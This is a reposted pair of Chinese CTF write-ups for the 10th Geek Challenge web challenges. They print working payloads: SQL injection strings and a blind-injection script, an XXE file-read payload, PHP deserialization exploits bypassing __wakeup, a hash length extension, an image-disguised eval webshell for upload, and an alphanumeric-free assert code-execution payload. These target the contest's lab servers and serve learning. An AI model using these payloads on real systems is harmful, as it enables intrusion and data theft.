第十屆極客大挑戰


1、打比賽前先擼一只貓!

F12查看元素:簡單的傳參令?cat=dog即出flag
2、你看見過我的菜刀么

打開頁面eval($_POST[“Syc”]);搬出菜刀連接找到flag即可
3、 BurpSuiiiiiit!!!

下載附件解壓使用bp的Extender導入一個java類型的查看errors即得flag
4、性感瀟文清,在線算卦

打開一個登陸界面,先隨意輸登陸一下,出現如下
在這里插入圖片描述
試着訪問返回you are too slow,根據前面提示:試試條件競爭吧。
構造py腳本:

import requests
url='http://148.70.59.198:42534/uploads/82e0b4cbef841f493daf51a9550908794b8faca3/d033e22ae348aeb5660fc2140aec35850c4da997'
while 1:
    f=requests.get(url)
    if 'Syc' in f.text:
        print(f.text)

    1
    2
    3
    4
    5
    6

同時通過bp不斷提交,即可得flag,原理可見傳送門
5、Easysql

直接萬能密碼登陸username:’=’ ,password:’=’ 。
或者簡單的字符型聯合注入
6、Lovelysql

字符型聯合注入

'union select 1,2,password from l0ve1ysq1-- -

    1

7、Babysql

過濾常用關鍵字or,select,from,union,where,雙寫繞過
payload

?username=admin&password=1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql-- -

    1

8、性感黃阿姨,在線聊天:

點擊一個聊天界面我們直接flag發送並抓包,據回應將name改為admin,出現如下,當滿足name == md5(flag)即可知flag文件位置
在這里插入圖片描述php中的== 為弱相等,如16==“16” --> true,而且16==“16cdf” --> true,只取字符串中開頭的整數部分,所以我們可以試着爆破name的值,爆破得值為357
在這里插入圖片描述可知flag所在文件_f14g_Is_Here_.php,XXE構造payload使用php偽協議讀取文件,XXE:XML External Entity Injection即xml外部實體注入漏洞
參考大牛傳送

<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=_f14g_Is_Here_.php">
]>
<root>
<name>&xxe;</name>
<request>flag</request>
</root>

    1
    2
    3
    4
    5
    6
    7

注:將Content-Type改為application/xml這樣才能執行我們的payload
9、反序列化1.0

查看源碼,構造payload

<?php
class Student{
    public $score=10000;
}
$user=new Student();
print_r(serialize($user));
?>

    1
    2
    3
    4
    5
    6
    7

最后傳參序列化對象?exp=O:7:“Student”:1:{s:5:“score”;i:10000;}
10、神秘的三葉草

查看源碼發現Secret.php超鏈接,訪問出現It doesn’t come from ‘https://www.Sycsecret.com’,使用bp在請求頭處添加Referer:https://www.Sycsecret.com,Referer告訴服務器該網頁是從哪個頁面鏈接過來的
Go
在這里插入圖片描述
更改User-Agent:Syclover,出現
在這里插入圖片描述
最終發送如下請求
在這里插入圖片描述得到flag
11、Jiang‘s Secret

審計如下代碼

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);
//flag放在了flag.php里
?>
</html>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

php偽協議讀取代碼?file=php://filter/read=convert.base64-encode/resource=flag.php 之后base64解碼即得flag
12、你有初戀嗎

此處一只單身狗(恨吶!)
代碼審計

<!--
$adore='***************';
$now = $_POST['lover'];
setcookie("Heart", md5($adore.'syclover'));
if(isset($now)&&$now!=syclover) {
    if($_COOKIE['Heart'] === md5($adore. urldecode($now))){
        die ($flag);
        }else {
            die('I do not love you! You are not in my heart!');
            }
    }
-->

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

1、通過url二次編碼繞過,post
lover=%25%37%33yclover
2、哈希長度擴展攻擊
使用hashpump

Input Signature:6a1ce5f4dc83320710006a786ac82c17
Input Data:syclover
Input Key Length:15
Input Data to Add:pcat

    1
    2
    3
    4

得到:
New Signature:77123c8c671874dcfd43cc6c80c511d0
syclover\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00pcat
將Heart值改為New Signature之后將\x替換為%
post,lover=syclover%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00pcat
13、又來一只貓

頁面顯示源碼備份,Fuzz發現www.zip下載,關鍵代碼

 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

    1
    2
    3
    4
    5

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41

介紹下代碼中出現的魔術方法
__construct():對象創建時自動被調用;
__wakeup():反序列化之前進行的回調函數;
__destruct():腳本運行結束時自動被調用;

<?php
class Name{
    private $username ='admin';
    private $password =100;
    public $test1="hello";
    protected $test2="hello";
}
$user=new Name();
print_r(serialize($user));
?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

private的參數被反序列化后變成 \00Name\00username, public的參數變成test1, protected的參數變成 \00*\00test2
當成員屬性數目大於實際數目時可繞過wakeup方法(CVE-2016-7124)
所以payload:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    1

14、你有特洛伊么

文件上傳通過fuzz,發現后綴名黑名單檢驗,文件頭校驗,文件內容檢測<?
於是構造php.php

GIF89a <script language="php">@eval($_POST['code'];</script>

    1

通過文件頭及文件內容檢測,將后綴名修改為.jpg上傳成功
又或是DOS命令
copy 1.jpg/a+php.php/b php.jpg(b表示二進制,a表示ascii碼)第一個/a表示指定以ascii格式進行復制(合並) 第二個/b表示以什么樣的格式保存我們剛剛合並的那個文件,做一個圖片馬
之后驗證未被過濾的后綴名php2,php3,php4,php5,phps,pht,phtm,phtml,發現phtml可解析。
在這里插入圖片描述
菜刀連接,找到flag即可
15、Eval evil code

對驗證碼腳本

import hashlib
for i in range(1000000000):
    kk=hashlib.md5()
    kk.update(str(i).encode('utf8'))
    res=kk.hexdigest()
    if res[:4]=='8993':
        print(i)
        break

    1
    2
    3
    4
    5
    6
    7
    8
    9

當輸入eval時返回
在這里插入圖片描述即無參數函數執行,傳送門
最終請求

POST /index.php HTTP/1.1
Host: 148.70.59.198:34386
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://148.70.59.198:34386
Connection: close
Referer: http://148.70.59.198:34386/
Cookie: td_cookie=2880285366; PHPSESSID=c77bd6fa17502141bc8cccad55ff3bb6
Upgrade-Insecure-Requests: 1
kk: readfile("theflag.php");

payload=eval(end(getallheaders()));&code=17105

 

 

第十屆極客大挑戰——部分web和RE的WP

昨天剛剛搞完湖湘杯和軟考,累的一批,,,,湖湘杯的wp就不寫了,寫寫這個wp
這個好像是一個月之前就開始的,打了一個月,不斷的放題,題也做了不少,,,
其他的就不記錄了,就記錄一下web和RE方面的,,,,
可能有些題是比較簡單咯,但是我就是決定記錄一下,
簡單怎么了?就不能記錄了嗎?好笑,我就是喜歡記錄!!
web - 打比賽前先擼一只貓!

打開查看源碼得到:
在這里插入圖片描述
直接get傳遞參數cat=dog得到flag
在這里插入圖片描述
web - 你看見過我的菜刀么

基本操作,頁面給了shell,菜刀鏈接即可:
在這里插入圖片描述
多找找就能找到flag
web - BurpSuiiiiiit!!!

emmm,這道題是真的騷,說實話我也是第一次看見這種題
根據題意可知利用BurpSuit,下載文件發現是一個jar文件????
不知所措,后來發現,文件名對應着一個bp上的功能!!
在這里插入圖片描述
bp添加擴展的地方??直接把jar文件加入,最后在錯誤的頁面中看見了flag!!
在這里插入圖片描述
web - 性感瀟文清,在線算卦

查看源代碼,發現給出了php源代碼:
在這里插入圖片描述
就是一開始文件存在flag,但是經過很快的一段時間就變了,所以我們必須在內容更改之前訪問到文件內容
利用python多線程跑即可:

import requests
import threading
import time
 
url = "http://148.70.59.198:42534/?u=123&p=123"
url2 = "http://148.70.59.198:42534/uploads/46f19b997a3e5633e191012e6d0ba7148daf76e2/40bd001563085fc35165329ea1ff5c5ecbdbbeef"
 
class myThread (threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter
    def run(self):               
        print("Starting " + self.name)
        f(self.name, self.counter)
        print("Exiting " + self.name)
 
def f(url,url2):
    while 1:
        txt1 = requests.get(url)
        txt2 = requests.get(url2)
        print(txt2.text)

thread1 = myThread(1,url,url2)
thread2 = myThread(2,url,url2)
 
thread1.start()
thread2.start()
 
print("Exiting Main Thread")

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31

當然我還有同學是使用bp的,原理差不多,,,
web - Easysql

emmm,so簡單,萬能密碼直接登錄拿到flag:
在這里插入圖片描述
web - RCE me

打開來可以看見源碼:

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18

emmm,這道題肝了很久很久,,,,,
一開始以為$被過濾了,結果問了出題師傅,才知道,是因為自己傳參的原因,走了多少冤枉路啊
因為過濾了大小寫字母和數字,所以我們不能直接傳遞這些,利用異或來進行繞過!!!

payload:?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=執行的命令

    1

就是如此,構造payload,其實中間省略了一些步驟
比如說查看phpinfo,我們可以發現有很多函數被禁用了
不過assert沒有,所以我們才會使用這個函數,這個payload也可以查看咯:
在這里插入圖片描述
總之沒過程就不詳細說了,根目錄下有flag不過不能讀取文件,但是功夫不負有心人啊
最后我竟然在tmp文件夾中找到了一個exploit.php文件!!!讀取一下內容發現作用是讀取flag的,嘿嘿嘿
直接利用這個exp!!最后得到flag:
在這里插入圖片描述
web - Lovelysql

emmm,一樣的sql注入的題目,沒有什么東西,就是一個簡單的報錯注入,,,,
利用union語句即可,利用bp抓包進行注入就好了,這里也就不多說了
反正按照常規方法就能得到flag,畢竟也沒有過濾什么
在這里插入圖片描述
web - Babysql

emmmm,和上一題差不多,只不過過濾了一些關鍵字,雙寫即可繞過
基本都與上一題的操作一樣,不多說了
在這里插入圖片描述
web - 神秘的三葉草

emmm,查看源代碼可以找到一個頁面:
在這里插入圖片描述
進行訪問!得到:
在這里插入圖片描述
到這里就不難了,后續就不詳細說了,就是一個改referer,X-Forwarded-For,還有個瀏覽器啥的,都是基本的操作了
web - Jiang‘s Secret

打開查看源代碼的到一個新的網頁:
在這里插入圖片描述
進行訪問:
在這里插入圖片描述
點擊SECRET得到一個提示,說什么東西過去了,直接抓包得到:
在這里插入圖片描述
進行訪問,得到源碼:

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file);
//flag放在了flag.php里
?>
</html>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15

emmm,直接使用文件包含即可

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

    1

將得到的base64解碼德科得到flag
web - Hardsql

emmm,這個要說一下了,這個是快結束的時候才做出來的,有個hint說是報錯注入
一開始進行嘗試,發現and被過濾了,空格也被過濾了,最后找到解決方案,報錯嘛,可以利用updataxml嘛
先貼上payload:

?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123

    1

整個過程的注入語句:

updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)

    1
    2
    3
    4

最后的到flag:
在這里插入圖片描述
web - 反序列化1.0

查看源碼,得到:

socre 10000!!!!
<br><!--
class Student
{
    public $score = 0;
    public function __destruct()
    {
        echo "__destruct working";
        if($this->score==10000) {
            $flag = "******************";
            echo $flag;
        }
    }
}
$exp = $_GET['exp'];
echo "<br>";
unserialize($exp);
?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18

emmm,基本的反序列化,直接構造:
在這里插入圖片描述
傳遞進入,得到flag:
在這里插入圖片描述
web - 又來一只貓

emmm,打開就得到提示:
在這里插入圖片描述
直接訪問一下www.zip得到源碼文件:
在這里插入圖片描述
查看index.php,看見存在反序列化:
在這里插入圖片描述
查看一下class.php:

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41

可以看見$this->username要等於admin,$this->password要等於100就能夠的到flag
不過有個__wakeup方法,這個方法就是當反序列化時最先調用這個方法,
需要繞過這個方法,接下來我們先進行構造
在這里插入圖片描述
有一點需要注意,private私有的變量進行序列化格式是不一樣的
得到的構造如下:

?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    1

不過現在還沒有顯示,需要我們進行繞過,所以我們讓變量加1即可:

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

    1

得到:
在這里插入圖片描述
web - 你有初戀嗎

emmm,直接開題:
在這里插入圖片描述
查看源代碼可以看見源碼:
在這里插入圖片描述
這顏色,綠的發慌,,,
看見有urldecode??這就好辦了呀,直接二次URL編碼
構造:lover=%2573yclover
在這里插入圖片描述
web - Finalsql

emmmm,直接開題:
在這里插入圖片描述
得到提示,盲注!!!
而且這個題還有坑點,注入點變了!!!!!不再是登陸框,而是一個id的頁面,,,
就在id=1的頁面進行注入即可,過濾了空格、and、or、mid、#等其他的沒測試
這是條件為真的時候的頁面顯示:
在這里插入圖片描述
為假時:
在這里插入圖片描述
直接上腳本吧,還有一點就是內容特別多,flag藏在中間!!!
兩個表,一個表沒得用,flag在password中
跑了很久,沒用二分法,,,反正時間不着急,啊哈哈哈哈:

import requests
import io
import sys
import string
import time

sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')        #改變標准輸出的默認編碼,否則s.text不能輸出
'''
url = "http://118.25.14.40:8104/search.php?id=1=(1)=1"
s = requests.get(url)
s.encoding = 'utf-8'
content = s.content

#檢驗是否成功
if 'NO! Not this! Click others~~~' in s.text:
    s.encoding = 'gbk'
    print(s.text)
    

#構造sql注入語句
F1naI1y,Flaaaaag
and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))=xxx)and(length(database()))!='20
ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s
ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='do_y0u_l1ke_long_t4ble_name')),%s,1))=%s
ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),%s,1))=%s
'''

url = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)=1"
url2 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%s,1))=%s)=1"
url3 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%s,1))=%s)=1"
url4 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%s,1))=%s)=1"
url5 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(password))from(F1naI1y)),%s,1))=%s)=1"
ss = ""
x = string.printable

for i in range(1,30):
    for j in x:
        payload = url5%(str(i),ord(j))
        #print(payload)
        time.sleep(0.5)
        s = requests.get(payload)
        if 'NO! Not this! Click others~~~' in s.text:
            ss += j
            print(ss)
            break
————————————————
版權聲明:本文為CSDN博主「A_dmins」的原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/qq_42967398/article/details/102979306
————————————————
版權聲明:本文為CSDN博主「越今朝!」的原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接及本聲明。
原文鏈接:https://blog.csdn.net/qq_45372008/article/details/103018362


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM